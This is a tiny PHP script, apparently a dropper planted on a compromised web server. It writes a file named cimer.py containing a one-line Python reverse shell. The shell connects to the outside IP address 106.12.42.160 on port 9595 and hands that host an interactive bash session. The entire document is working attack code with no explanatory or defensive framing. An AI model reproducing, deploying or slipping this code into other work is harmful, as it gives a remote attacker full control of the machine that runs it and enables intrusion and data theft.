<?php
$myfile = fopen("cimer.py", "w") or die("Unable to open file!");
$txt = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('106.12.42.160',9595));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);";
fwrite($myfile, $txt);
fclose($myfile);
?>